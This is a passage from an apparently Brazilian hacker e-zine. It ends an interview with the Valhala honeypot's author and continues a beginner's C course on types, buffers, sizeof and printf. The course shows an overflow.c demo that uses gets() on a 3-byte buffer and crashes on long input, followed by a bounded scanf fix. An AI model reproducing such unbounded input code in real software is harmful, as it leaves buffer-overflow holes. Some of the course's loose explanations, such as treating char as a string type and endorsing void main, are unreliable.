funoes do valhala, mas deixa isso pra la, melhor naum comentar. Foi voce o pioneiro em 
desenvolvimento de honeys por aqui? Estou certo ou estou delirando? 

[Marco]:

haha, eu j vi alguns desses honeys que o pessoal faz. Muitos fazem apenas o que o meu
anti-trojans fazia anos antes do Valhala. Abre uma porta, recebe uma conexo, desconecta
o indivduo e mostra o IP na tela. Fico at honrado quando vejo que alguns extraram o 
cdigo-fonte do Valhala, sem nem mudar o nome das variveis (risos). Eu realmente evolui o
Valhala desse ponto a muito tempo, implementando servidores como FTP, WEB, TFTP,
FINGER, etc... pretendo inclusive colocar um DNS (caso a falta de tempo me permita
terminar a verso 2.0). Olha, pioneiro em honeypots no Brasil eu creio que no sou, 
pois existem vrios projetos mas a grande maioria  voltado para sistemas Unix/Linux. O 
Valhala, apesar de tambm opensource, tem alguns objetivos bem especficos: Ser fcil de
usar, com interface grfica, para Windows, todo em portugus e com o tamanho bem 
pequeno. Acho que cumpri esses requisitos, afinal, mais fcil de usar impossvel e para um 
programa com mais de 5 servidores, ele tem menos de 1 MB de download. Talvez nesses 
objetivos sim, eu tenha me sado um pouco mais pioneiro.

[Eu]:

Voce pode arrumar para os leitores da C.O.D.E o font do valhala? Tipo assim cara, eu uso 
muito IDSs como o snort e tal, se eu to afim de algo facil e descomplicado eu corro pro 
valhala porque enfim....o valhala  o valhala, mas infelizmente para mim os binarios nao  o
limite, por isso venho lhe pedir encaricidamente que disponibilize o fonte do mesmo para a 
galera analisar e quem sabe "acrescentar algo", "nao refazer o mesmo com um outra interface
e mudar os creditos". 

[Marco]:

O fonte est na pgina do sourceforge do Valhala, disponvel para todos:
www.sourceforge.net/projects/valhalahoneypot

[Eu]:

Para encerrar:

Quais os bugs mais recentes que voce descobriu? Tipo, aqueles bugs que agente naum revela
pra ninguem e tals, mas peso que abra uma exceao para os leitores desta revista, conte-nos 
sobre eles, adoraria conhecer suas tecnicas ninja, tambem tenho as minhas mas num digo porque 
pode virar cu de bebo, mas enfim, entrega o ouro ae eheh.

[Marco]:

Cara, infelizmente a minha poca de ter tempo para brincar, fuar e descobrir novos bugs 
j passou. Hoje eu trabalho o dia todo, estudo  noite e ainda dou aulas no final de semana,
sem falar de cuidar da famlia. Mas pode deixar que, se no curto tempo livro descobrir
alguma coisa interessante, lhe falo pra vc compartilhar no seu zine.

[Eu]:

Marcos, foi um prazer lhe entrevistar, e aproveitando a deixa gostaria de te pedir que 
escrevesse papers para a zine, mas se naum quiser tudo bem, nois aqui tenta levar assim 
mesmo eheh. Ja to com alguns papers que o pessoal under da antigas escreveram ae para 
a revista, mas gostaria de um paper seu aqui tambem, que tal? 

[Marco]:

No prometo nada por causa da falta de tempo que te falei, mas pode deixar que um dia 
o paper sai... haha

[Eu]:

Ops... E se eu te falasse que temos que comear outra vez porque eu fechei a janela do
MSN, voce faria novamente a entrevista?

[Marco]:

Putz... t brincando n? kkk
 
[Eu]:

Zuera vei Uhauhauh!!! Valeu cara, at mais ;-) 


----- C4p1Tul0 09

[+ ======X============X===============X===== +]
            CURSO DE LINGUAGEM C PARTE 3
[+ ======X============X===============X===== +]

Vamos a mais uma parte do nosso cursinho de C. No tenho muito que falar na introduo
desta seo, s tenho que alertar sobre a importancia de aprender C, pois se voce souber C 
voce  feliz =) Recomendo muito para os leitores desta seo que no tenham experiencia com 
a linguagem, que olhem as zines anteriores. Sei que nas partes anteriores no tenho dado a
devida seriedade que este assunto merece e tenho sido um pouco imaturo, mas olhem 
a segunda edio para verem sobre leitura e declarao de variaveis do tipo inteiro (int).
S pra relembrar as edies passadas gostaria de lhes mostrar como  um tipico code em C.

#include <biblioteca.h> /* Aqui inserimos a biblioteca que contem as funes que 
sero declaradas dentro do bloco de codigo.*/

int main ()  --> Declaramos a funo principal, a que inicia o codigo.

{             < -------------+ ------- > Abre o bloco de codigos
                            
              < -------------+ ------- > Aqui entra as declaraes e etc.
                                      
}             < ------------ + ------- > Fecha o bloco de codigos

Na segunda parte do curso voce aprendeu a declarar variaveis do tipo inteiro, ou seja, 
variaveis que armazenam valores numericos, mas vou dar uma relembrada aqui, nem 
esquenta. J que esse curso se destina a quem nunca teve contato com programao 
nenhuma, creio que devo explicar o que seja uma variavel, pois me esqueci de falar
sobre isso nas edies passadas (eita curso bagunado esse XP). Podemos dizer que
uma variavel nada mais  que uma palavra que voce inseri no programa que armazena 
algum valor (conteudo), exemplo:

-------- cut --------
#include <stdio.h>

int main ()
{
   int variavelx=2;
   printf ("O valor da variavel 'variavelx' e %d", variavelx);
   return 0;
}   
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>file1
O valor da variavel 'variavelx' e 2

Nesse exemplo acima declarei (criei) uma variavel chamada variavelx e inserir um valor a 
essa variavel, o valor da variavel  2, podemos inserir valores a variaveis utilizando esses
metodos:

int variavel;    ----> Declarei a variavel 'variavel' mas no inserir um valor para ela. 
variavel=2;    ---- > Agora sim inseri um valor.   

int variavel=2, --- > Aqui declarei e inseri um valor para variavel.

Como voces podem ver no primeiro exemplo, inicialmente apenas declarei a variavel 
'variavel' para logo abaixo definir um valor (conteudo) que ela armazenar, que no caso
 2. Podemos inserir e 'modificar' um valor de uma variavel sempre que assim desejarmos.

Exemplo: 

-------- cut --------
#include <stdio.h>

int main ()
{
   int variavelx=2;         // --> Declarei que o valor da variavel seria 2 
   
   printf ("O valor da variavel 'variavelx' e %d\n", variavelx);
   
   variavelx=10;           // -- > Mudei o valor da variavel para 10 

   printf ("Agora o valor da variavel 'variavelx e %d", variavelx);
   return 0;
}   
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>file1
O valor da variavel 'variavelx' e 2
Agora o valor da variavel 'variavelx e 10

Podemos declarar variaveis utilizando esses mtodos:

int variavel;
ou 
int variavel;
int variavel2=2;
ou 
int variavel1, variavel2;   //Declarao de duas variaveis do tipo inteiro (mesma linha)
ou 
int variavel1=10, variavel2;
ou 
int variavel1=10, variavel2=20;

Caso voce queira declarar varias variaveis de um determinado tipo em uma mesma 
linha, utilize a virgula para cada novo nome de variavel, como voce viu acima 
(int variavel1, variavel2). Ja que voce sabe que para declararmos uma variavel do
tipo inteiro (que  uma variavel que armazena numeros) utilizamos o 'int', e 
utilizamos o '%d' para ler o conteudo (valor) 'desse tipo' de variavel, podemos 
agora passar para as variaveis do tipo 'char'. As variaveis do tipo char armazenam 
strings, ou em outras palavras, armazenam texto. Uma string nada mais  que uma 
sequencia de caracteres terminada por '\0'. Para declararmos uma variavel do tipo 
'char' fazemos a mesma coisa que fazemos quando queremos declarar uma variavel 
do tipo inteiro, ou seja, 

Tipo variavel=Valor;

A unica diferena com relao a uma declarao de variavel do tipo int para uma do 
tipo char  que para declararmos uma variavel do tipo 'char', temos que definir o 
tamanho de bytes que essa variavel pode armazenar, o local onde so armazenados
esses bytes  chamado de buffer. Exemplo:

char variavel[7];          < --- >          tipo variavel[buffer];

Vale lembrar que cada caractere que uma variavel do tipo char armazena equivale a 
1 byte, ento a string "luzinha" conter um total de 7 bytes sem contar com o 
terminador de string (\0). Sempre temos que reservar um byte no buffer para o 
terminador nulo (\0), ou seja, deve ficar assim:

char variavel[8] = "luzinha\0";

Acima definimos que a variavel de nome 'variavel' seria do tipo char e armazenaria
8 bytes, ou seja, a variavel teria um buffer (local de armazenamento) que suporta 8 
caracteres, pois vale lembrar que um caractere equivale a 1 byte. Voce deve estar 
curioso para saber de um detalhe, vamos supor que voce est me perguntando isso:

Mas se eu inserir mais bytes que esse buffer suporta, o que acontecer?

Caso voce insira mais dados que um buffer pode suportar aparentemente no 
acontece nada, pois o programa ir aceitar, mas ocorre o chamado buffer overflow, 
ou simplesmente, estou de buffer. Onde podemos dizer de certa forma que acontece
uma 'exploso', mas a exploso vai ser na pilha, mas esse essunto est longe de ser
o focu principal deste paper. Na proxima edio da C.O.D.E vai ter uns papers 
maneiros onde meu amigo darkmoon vai tentar passar pra voces uma boa base de 
desenvolvimento de shellcode (isso se ele arrumar tempo ^^), pois  necessario 
aprender desenvolver shellcodes para a 'explorao da falha' de estouro de pilha. 
Gente, no pensem que  facil desenvolver shellcodes, todo mundo que meche com 
isso hoje ja sentiu "MUITA" dificuldade, mas posso adiantar ai como se previnir o 
buffer overflow, simples: 

No use funes perigosas, ponto ^^. 

No quero assustar voces POR ENQUANTO, pois algumas funes eu ainda vou 
ensinar ^^, tipo assim galera, posso ensinar uma unica maneira de preveno agora,
s pra voces no falarem que minha zine  de pssima qualidade (heheh) vejam esse 
code:

-------- overflow.c --------
#include <stdio.h>

main (void){
     char str[3];
     printf ("Estoure meu buffer [size buffer:3]:");
     gets (str);
     printf ("%s",str);}

---------- cut ----------     

Vamos ver onde acontece os sonhos ^^. 

Resultado:


C:\Documents and Settings\David\Desktop>overflow 
Estoure meu buffer [size buffer:3]:ab     < -- 2 caracteres + o terminador \0 = 3 (Normal =)
ab         
C:\Documents and Settings\David\Desktop>overflow 
Estoure meu buffer [size buffer:3]:1234567891011 < -- Problema, mas o programa ainda no deu pau
1234567891011
C:\Documents and Settings\David\Desktop>overflow
Estoure meu buffer [size buffer:3]:destroyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer
destroyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer

Olha que mensagem legal que o windows me deu 'depois que eu digitei a ultima string':

O overflow.exe encontrou um problema e precisa ser fechado.

Mensagem legal ;-) 

Como evitar? Voces se lembram da funo scanf que falei nas zines anteriores? Pois  amigo,
ela tambm  vulneravel hauhauh!!! Mas calma, calma, quem estuda C tem que conhecer o 
maximo de funes possiveis, mas o interesante  que ele no  totalmente vulneravel =)
Eba!!! Eba!!! hauha!!! Voces devem estar dizendo: Ufa!! Basta usar especificadores para
limitar o tamanho da string que vai ser passada para o buffer ;-) Exemplo:

---------- cut ----------  
#include <stdio.h>

main (void){
     char str[6]; //Armazena 5 caracteres + o '\0'
     printf ("Seu nome rapaizinho [buffer 6]:");
     scanf ("%5s", &str); //Pega "5" bytes (caracteres) e joga para str
     printf ("%s",str);}

---------- cut ----------  
 
Resultado:

Execuo normal:

C:\Documents and Settings\David\Desktop>overflow
Seu nome rapaizinho [buffer 6]:David    < -- Escrevi os cinco caracteres ;-)
David      < -- Leu os cinco caracteres deboa ;-)

Engraadinho tentando estourar meu buffer:

C:\Documents and Settings\David\Desktop>overflow
Seu nome rapaizinho [buffer 6]:David gostosao   < -- Mais de cinco caracteres ;]
David  < -- Aham!!!!! S imprimiu 5 caracteres, porque ele pegou s 5 ;)

Na proxima C.O.D.E vai algo mais completo ;) 

Continuando.....

Olha que interesante as variaveis do tipo 'char' se comparadas com as variaveis 
do tipo 'int'. 

int variavel=2;    
     
char variavel[7]="String"; 

Repare acima que eu sempre reservo um espao para o '\0' que  colocado 
"automaticamente" no final de uma string, nem se preocupe (gets e tals =).

Repare que no C como em muitas linguagens de programao, para se referir a uma
string (Sequencias de texto) necessitamos utilizar as aspas para determinar que ali
se refere a uma string, as strings so conhecidas no C como vetores de caracteres,
que como eu ja havia falado: 'Sempre terminam com um caractere nulo'. Por isso 
devo alertar mais uma vez: "sempre reserve um espao em seu buffer para esse 
terminador". 

A principal caracteristica de uma variavel do tipo char  justamente as aspas
nos seus valores =). Ja para valores de variaveis do tipo inteiro no precisamos 
inserir aspas, pois como todos sabemos, variaveis do tipo 'int' armazenam numeros, 
mas se voce quiZer que um determinado numero seja entendido como string basta 
coloca-lo entre aspas (e claro que declarando o char antes do nome da variavel =) 

char variavel[buffer] = "123456";

Para lermos valores do tipo 'char' ao invz de utilizarmos o '%d', utilizamos o '%s'.
Vamos a um exemplo de declarao de variavel e declarao de valor e logo
depois uma demonstrao de leitura deste valor.

-------- cut --------
#include <stdio.h>

int main ()
{
   char ax[8]= "luzinha";            
   printf ("A variavel 'ax' possui %d caracteres\n", sizeof(ax));
   printf ("O valor da variavel 'ax' e: %s", ax);
   return 0;
}   
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>file1
A variavel 'ax' possui 8 caracteres
O valor da variavel ax e: luzinha

Se voce reparar bem poder perceber que o operador sizeof (falarei logo mais) 
me retornou o numero correto de bytes existente naquele buffer (area de armaze
namento), mas quando a funo printf me mostrou qual era o valor da variavel
'ax' ela no exibiu de forma alguma o terminador nulo que foi inserido no final
da string, ou seja, esse nome 'terminador' no significa 'terminador' por qualquer 
motivo, ele simplesmente existe para marcar o fim de uma sequencia de texto e 
no pode ser lido.

Vamos fazer uma pequena modificao no exemplo anterior

-------- cut --------
#include <stdio.h>

int main ()
{
   char ax[8]= "luz\0inha";     // <--- Reparem no que eu fiz 
   printf ("A variavel 'ax' possui %d caracteres\n", sizeof(ax));
   printf ("O valor da variavel ax e: %s", ax);
   return 0;
}   
-------- cut --------

Resultado:

A variavel 'ax' possui 8 caracteres
O valor da variavel ax e: luz

Podemos fazer com que o compilador detecte e crie um buffer com uma 
determinada quantidade de bytes sem precisarmos especificar manualmente
quantos bytes nosso buffer vai ter, ou seja, o compilador mesmo analisa
e cria um buffer contando o valor da variavel, para fazer isso basta no 
especificar a quantidade de bytes que seu buffer vai ter =). Simples, pois 
assim ele vai fazer como eu falei: cria um buffer se baseando na quantidade
de caracteres do valor da variavel e ainda vai inserir no final da string o 
terminador nulo automaticamente =). Exemplo:

-------- cut --------
#include <stdio.h>

int main ()
{
   char ax[]= "luzinha";    // <-- Repare aqui que meu buffer '[]' est indefinido    
   printf ("A variavel 'ax' possui %d caracteres\n", sizeof(ax));
   printf ("O valor da variavel 'ax' e: %s", ax);
   return 0;
}   
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>sinc
A variavel 'ax' possui 8 caracteres
O valor da variavel 'ax' e: luzinha

Repare que o operador 'sizeof' contou a quantidade de bytes no valor da
variavel 'ax' e me retornou quantos bytes existia nesse buffer, ou seja, 
8 bytes

luzinha -- > 7 bytes 
\0 --> 1 byte 

Acho que ja est na hora de falar sobre o operador sizeof. Bem, este operador
 utilizado para verificar o tamanho (em bytes) 'dos tipos' e 'variaveis' desses
tais tipos, vale lembrar que este operador pode ser lido como um inteiro, sua 
sintaxe  assim:

sizeof (variavel)
ou 
sizeof (tipo)

Exemplo:

-------- cut --------
#include <stdio.h>

int main ()
{
   char ax[]= "luzinha";   
   printf ("A variavel 'ax' possui %d caracteres\n", sizeof(ax));
   return 0;
}   
-------- cut --------

Vamos ver agora como saber o tamanho (em bytes) de um determinado 'tipo', isso 
varia muito, vamos supor que voce voce est operando uma maquina com hardware
de 32 bits (Que  o meu caso nesses exemplos):

-------- cut --------
#include <stdio.h>

int main ()
{
   printf ("Cada caractere de um valor do tipo \
char equivale a '%d' byte\n", sizeof(char));
   return 0;
}   
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>sinc
Cada caractere de uma valor do tipo char equivale a '1' byte

Repare que utilizei o sizeof seguido do 'tipo' (char) da variavel que eu 
quero saber o tamanho (sizeof (char)). Vamos fazer o mesmo 
procedimento s que agora eu quero saber qual o tamanho de um 'int'. 

-------- cut --------
#include <stdio.h>

int main ()
{
   printf ("Um 'int' equivale a '%d' bytes\n", sizeof(int));
   return 0;
}   
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>sinc
Um 'int' equivale a '4' bytes

O resultado mostrou que um int equivale a 4 bytes. S pra lembrar:

8 bits = 1 byte
4 bytes = 32 bits 

Essa  a melhor forma de indentificarmos a quantos bits nosso hardware opera,
em uma maquina de 16 bits muito provavelmente um 'int' equivale a
16 bits, j em maquinas de 32 bits o 'int' ser 32 bits, ou seja, 4 bytes. 
Simples =) Como ja havia falado anteriormente no vou me aprofundar nisso, 
pois torno a repetir que esse no  o foco principal deste paper.

[===XX=XX===]
 Indice no C
[===XX=XX===]

Esse  um assunto de extrema importancia, gostaria que voces prestassem bem 
ateno. Em uma string (sequencia de texto), cada caractere recebe como eu 
posso dizer... uma identificao, isso, identificao. Cada caractere contido em 
uma string recebe numeros que as identificam dentro desta string. O primeiro 
caractere contido em uma string sempre vai ser 0 ao invz de 1 como poderiamos 
at chutar para ser o primeiro, analise esse exemplo abaixo:

< ----------- >
  luzinha\0
  01234567
< ----------- >

O interesante  que podemos ler determinados caracteres dentro de uma
string utilizando seu numero de indice (seu identificador =). 

Vamos a alguns exemplos :]

-------- cut --------
#include <stdio.h>

int main (){
    char ind[8]="luzinha";
    printf ("A primeira letra da string 'luzinha' e '%c'", ind[0]);  // <-- Repare aqui =]
    return (0);}

-------- cut --------

Acima voce pode ver que para ler UM CARACTERE contido na string 
utilizamos o '%c' e logo em seguida especificamos a variavel seguida do
tal identificador deste caractere 'dentro do buffer'. Vou escrever novamente
meu primeiro exemplo para um melhor entendimento:

  luzinha\0
  01234567

Acima voce pode ver que o primeiro caractere da string 'luzinha'  'l', e 
como eu ja havia falado anteriormente j que esse caractere  o primeiro 
caractere contido na string ento seu identificador dentro do buffer vai 
ser o 0. Com esse metodo de leitura podemos visualizar determinados 
valores apenas utilizando seu numero de indice, assim podemos entender
que apenas a letra 'l' vai ser impresa na tela, vamos ver.

Resultado:

C:\Documents and Settings\David\Desktop>sinc
A primeira letra da string 'luzinha' e 'l'

Bingo! Para visualizar o primeiro e o segundo caractere da string "luzinha" 
utilizamos dois sinais de '%c' e logo em seguinda utilizamos a variavel e o 
numero de indice do buffer que estes caracteres esto.

Exemplo:

-------- cut --------
#include <stdio.h>

int main (){
    char ind[8]="luzinha";
    printf ("As duas primeiras letras da string 'luzinha' \
sao: '%c' e '%c'", ind[0], ind[1]);   
    return (0);}

-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>sinc
As duas primeiras letras da string 'luzinha' sao: 'l' e 'u'

No pretendo dar focu sobre isso "agora", vamos nos aprofundar nesse tema nas
proximas edies quando falaremos sobre matrizes... se bem que isso:

  char ind[8]="luzinha";

Pode ser considerado uma matriz, mas  uma matriz de caracteres ;) ou seja, para
ler um CARACTERE dentro desta MATRIZ vamos utilizar o %c, vou mostrar para
voces uma matriz de numeros, ou seja -> Matrix do tipo inteiro ( =):

main (){
     int num[2]={123, 456};
     printf ("%d + %d = %d\n", num[0], num[1], (num[0] + num[1]));
     system ("pause");}

Espero que voce seja esperto, pois agora nao e hora de falar de matrizes e sim 
do tal do indice, mas como sempre eu gosto de deixar voces com uma boa base 
de tudo que eu escrevo, para voces irem pegando as coisas nas proximas edies
com mais facilidade :)

[==X=========XX=XX===========X=]
  O TIPO VOID 
[==X=========XX=XX===========X=]

Eu tinha falado vagamente sobre o tipo 'void' na edio passada, disse que 'void'
era um tipo sem tipo, que s estava ali para dizer que determinadas coisas so vazias. 
Agora vamos falar um pouco dele, ei ei ei: Para quem no sabe 'void' significa 'vazio'
em portugues (s pra constar =). O void possibilita que a criao de funes que no
retornam nada e tambm possibilida a criao de funes sem parametro. Exemplo:

-------- cut --------
#include <stdio.h>

void main (void){  // < -- Funo 'main' no retorna nada e tambm no tem argumentos
    printf ("Sinck");} 

-------- cut --------

Nossos compiladores so programados para lhe alertar sobre a existencia de
um 'void' ao invez de int antes da funo 'main' (caso voce declare o void antes
do main... d!!), o meu compilador me retornou a seguinte mensagem:

3 C:\Documents and Settings\David\Desktop\void.c [Warning] return type of 'main' is not `int' 

Traduo:

3 C:\...\void.c [Avisando] o tipo de retorno de 'main' no  'int' 

Isso acontece porque o compilador pensa que a funo main tem sempre que retornar um 
inteiro, caso quiZermos que nosso sistema receba o valor de retorno de main, basta 
declarar a mesma como um inteiro (int main) e especificar dentro do bloco de codigo
o valor de retorno, exemplo:

'return (numero de retorno)'

Se no especificarmos o tipo de retorno de uma funo o compilador vai supor que este
tipo  inteiro. Caso main retorne 0 (inteiro) significa que nosso programa teve uma 
execuo normal, caso o main retorne um numero diferente de zero significa o oposto. 
Caso voce no queira passar o valor de retorno da funo main para o sistema, basta 
utilizar o 'void', assim voce no precisar especificar o 'return 0' para representar um:
'tudo certo'. Recapitulando:

e o 'return (-1)' para representar anomalia :] 

Vale lembrar que  sempre bom voce especificar o valor de retorno, seus codes ficam 
mais hackoes e mais profissionais rsrs, tinha que colocar uma palhaada (aff).

Um detalhe interesante:

-------- cut --------
#include <stdio.h>

main (void){ // < -- Da uma olhadinha ai gente boa
    printf ("Me chupa");}
   
-------- cut --------

Isso ai em cima tambm rola cara, porque como eu ja falei anteriormente, por padro 
o C retorna um inteiro, ou seja, nem precisamos especificar o 'int' =) 

-------- cut --------
#include <stdio.h>

int main (void){ // < -- Coloca o int se quiZer =) 
    printf ("Me chupa");
    return 0;} //Coloca o 'return 0' se quiZer =]

-------- cut --------

[========XX=XX========]
      O TIPO FLOAT
[========XX=XX========]

Nos ja vimos tres tipos que so:

int -- > Determina que uma variavel vai receber valores inteiros (numeros =).
char -- > Determina que uma variavel vai receber strings (texto).
void -- > Tipo que possibilita a criao de funes que no retornam nada 
e tambm possibilida a criao de funes sem parametro.

Mas est fautando mais um a, que  o:

float -- > Determina que uma variavel que foi declarada com esse tipo vai armazenar
numeros que possuem casas decimais, como: '10.55'. Exemplo:

-------- cut --------
#include <stdio.h>

void main (void){ 
     float variavelx=10.55;
     printf ("O valor da variavel 'variavelx' e: %f", variavelx);}
   
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>sinc
O valor da variavel 'variavelx' e: 10.550000

Para lermos valores do tipo float (ponto flutuante) utilizamos o '%f' (olha 
s que original =). Gente, o 'C' no tem misterio nenhum. Amigos bgners, 
espero que voces tenham entendido bem esse esquema bsico de tipos, 
no vou falar do tipo double porque o foco aqui  sobre os tipos bsicos, 
se bem que o double ainda est na lista de tipos basicos do C, mas vo parar
por aqui, na proxima edio da C.O.D.E eu prometo =) 

 
[==[]======XXx=xXX======[]==]
Diferentes formas de leitura
[==[]======XXx=xXX======[]==]

Nos ja aprendemos como funciona o processo de leitura basico de valores
de alguns tipos, que so:

%d  -- > Inteiro 
%c  -- > Um unico caractere
%f  -- > Float 
%s  -- > string

Agora vamos ver como  interesante e IMPORTANTE aprender bem esse
negocio de tipos em C ;-) Olhem que legal:

-------- cut --------
#include <stdio.h>

main (void){
      printf ("Eu amo a %c%c%c%c%c%c%c", 'L', 'u', 'z', 'i', 'n', 'h', 'a');
      printf ("\n\nEstou um passo a frente de voces %s", "Trouxas!!!!");
      printf ("\n\nNinguem pode com meu grupo - Viper Corp %d%d%d", 6, 6, 6);
      printf ("\n\nSo pra constar um float ai: %f\n", 10.88);}


-------- cut --------

Resultado: 

========================================
C:\Documents and Settings\David\Desktop>satan_emperial
Eu amo a Luzinha

Estou um passo a frente de voces Trouxas!!!!

Ninguem pode com meu grupo - Viper Corp 666

So pra constar um float ai: 10.880000
========================================

Explicaes:

O que determina 'um caractere'  o apostrofo (' ') seguido do caractere, 
exemplo: --> 'A'. Ento se eu quiZer ler uma determinada letra eu fao isso:

printf ("Me chamo %c %c %c %c %c", 'D', 'a', 'v', 'i', 'd'); 

Lembram que o %c  usado para imprimir apenas uma letra? Ento...

Resultado: 

C:\Documents and Settings\David\Desktop>satan_emperial
Me chamo D a v i d   < -- O espao entre as letras que da o charme rsrs

printf ("Me chamo %c%c%c%c%c", 'D', 'a', 'v', 'i', 'd'); 
C:\Documents and Settings\David\Desktop>satan_emperial
Me chamo David  < -- Juntinho baby =) Proximo!

O que  que caracteriza um valor inteiro mesmo? Hum... Lembram? Numeros!!! 

Exemplo:

printf ("\n\nNinguem pode com meu grupo - Viper Corp %d %d %d", 6, 6, 6);

Repara que para cada '%d' que eu insiro dentro das aspas, tambm coloco 
um valor equivalente a este tipo depois das aspas, assim o printf faz a 
leitura deboa ;] Proximo!

O que caracteriza um valor do tipo char (string) mesmo? As "" - aspas :]

Ento:

printf ("\n\nEstou um passo a frente de voces %s", "Trouxas!!!!");

E assim vai....

[===========XX=XX===========]
Constantes de barra invertida
[===========XX=XX===========]

As vezes exibir apenas letras na tela no  o limite hauhauh!!! Zuera, 
to zuando, calma. Acho que to relaxando d+ hauahu!! Queria ficar 
serio o curso todo, mas no da -.- uhauhauha!!! 

Como todos sabemos a funo printf exibe mensagens na tela, ela 
funciona como o comando echo no DOS, ou seja, 

echo mensagem
printf ("mensagem");

Mas prestem ateno nas aspas ai em cima, hum.... sacou? caso 
voce queira usar aspas para destacar uma mensagem "dentro de 
uma string" (sequencia de texto) usando um metodo aparentemente
obvio, ia da erro, exemplo:

No da:

printf ("Eu quero destacar "essa palavra" ");

Para isso foram criadas as constantes de barra invertida ;]

Abaixo esto "algumas" delas:

xxxxx=====xxxxxxxxx=====xxxxx====xxxxx=====xxxx==
\"   -- > Coloca aspas dentro da string 
\'   -- > Coloca apstrofo  dentro da string
\a   -- > Da um beep (da uma piada) -> isso  legal rsrs 
\n   -- > New line (nova linha) - > Pula uma linha 
\0   -- > Terminador nulo  
\\   -- > Inseri uma unica contra barra ('\') dentro da string
xxxxx=====xxxxxxxxx=====xxxxx====xxxxx=====xxxx==

Vamos aos exemplos

[=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=]

-------- cut --------
#include <stdio.h>

main (void){
printf ("Eu quero destacar \"essa palavra\"");
}
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>Sinck_Destroyer
Eu quero destacar "essa palavra"

[=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=]

-------- cut --------
#include <stdio.h>

main (void){
printf ("Eu\nAmo\nA\nLuzinha invaders ;]");
}
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>Sinck_Destroyer
Eu
Amo
A
Luzinha invaders ;]

[=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=]

-------- cut --------
#include <stdio.h>

main (void){
printf ("Pi!\a Pi!!\a Pi!!!\a Huahuahuah");
}
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>Sinck.exe
Pi! Pi!! Pi!!! Huahuahuah

[=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=]
          Piadinha sem graa -.- 
            Huahuahuahuah!!!

-------- cut --------
#include <stdio.h>

main (void){
printf ("\n\nEu queria ter nascido em 20\\07\\1950 \
para ter 16 anos em 20\\07\\1965,\no auge da rebeldia.\n\n");
}

-------- cut --------

Resultado hauhau!!!:

C:\Documents and Settings\David>desktop\Untitled1


Eu queria ter nascido em 20\07\1950 para ter 16 anos em 20\07\1965,
o auge da rebeldia.


Foi mal, mal, tava sem imaginao rsrsrs, pra quem no entendeu a piada
eu quiz mostrar a data, exemplo: 06/03/2008. Entendeu? rsrs Muito legal.

E por ai vai.....

Ei ei ei, para imprimir um sinal de percento na tela com o printf, use dois
sinais de percento para representar 'um', exemplo:

-------- cut --------
#include <stdio.h>

main (void){
  printf ("Estou vendendo meu adaptador \
wireless 802.11b/g com 50%% de desconto avista");
}
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>Bru
Estou vendendo meu adaptador wireless 802.11b/g com 50% de desconto avista

[===xXx=====XX=XX======xXx===]
  Um pouco mais de variaveis
[===xXx=====XX=XX======xXx===]

Abaixo vai um pouco sobre declaraes de variaveis para voces irem se ligando 
na proxima edio da C.O.D.E =) Nem vou comentar muito porque o font do 
code ja ta bem comentado eheh, na proxima edio eu vou explicar melhor, mas
por hora isso ja pode ajudar voces amigos ;) 

                       --- variavel.c --- 
#include <stdio.h>
#include <stdlib.h>

int global; // <-- Variavel global, todas as funes a enchergam

int func (int variavel_de_lista_de_parametros){ /*Tambm podemos declarar
variaveis na lista de parametros de uma funo, apesar deste tipo de variavel
receber valores externos, ela  utilizada apenas no bloco de codigo da funo 
em que foi declarada (na lista de parametros =).*/
   
    printf ("O valor da variavel global e -> %d\n", global);
    printf ("Eu disse: %d =)\n", global);
    printf ("O valor da variavel_de_lista_de_parametros \
eh ->%d<-\n",  variavel_de_lista_de_parametros); }
     
int main (void){
    system ("cls");
    int var_local=0; /* <-- Variavel local, s  utilizada E VISTA 
    no bloco de codigo da funo em que foi declarada */
    
    puts ("Contagem:\n");
    for (var_local;var_local<10;var_local += 1){
        
        int variavel_de_bloco=var_local; /* <-- Variavel de bloco ->'for'<-, s  vista 
        e UTILIZADA dentro do bloco de codigo 'for' em que foi declarada */
 
    printf ("numero [%d]\n", variavel_de_bloco);}
         
    printf ("\nDigite um numero:");
    scanf ("%d", &global);
    func (10);
 
    /*
    printf ("%d", variavel_de_bloco); 
    Se voce tentar chamar uma variavel de bloco 'for' aqui, ver uma msg 
    como essa: C:\variavel.c `variavel_de_bloco' undeclared 
    (first use in this function) 
    */
    
    printf ("E o valor da variavel local de main (var_local) eh %d\n", var_local); 
    system ("pause");
    return (0);
}

                           --- cut --- 

[========XX=XX========]
Encerramento da parte 3
[========XX=XX========]

Nos proximos episodios de sua emocionante serie: O cuso de C. Iremos ver neste mesmo 
horario neste mesmo canal os seguintes temas:

< -- O TIPO DOUBLE - O retorno dos androides -.0 -- >
< -- S conto na proxima edio 0.= -- >
< -- S conto na proxima edio =.= -- > 

Voces devem ter percebido a existencia de uma 'contra barra' (\) em alguns exemplos, e
muitos que esto lendo a terceira parte do curso de C devem estar curiosos para saber
do que essa tal barra se trata, simples:

printf ("A contra barra serve para evitar a escrita de um texto muito grande em uma unica linha");

Entenderam? Ou seja, para evitar isso utilize a contra barra. Exemplo:

-------- cut --------
#include <stdio.h>

int main (void){
    char mylove[8]="Luzinha";
    printf ("\n\nSou feliz, feliz porque estou apaixonado, feliz porque amo e \
sou correspondido, me sinto bem ao lado dela, me sinto bem porque \
sempre que estou ao lado dela sorrio como um menino e sou mimado \
como um bebe. Sou um homem feliz porque sei que o coracao dela e' meu \
e ela sabe que meu coracao e' e sempre sera dela. Te amo %s.\n\n", mylove);
    return (0);}

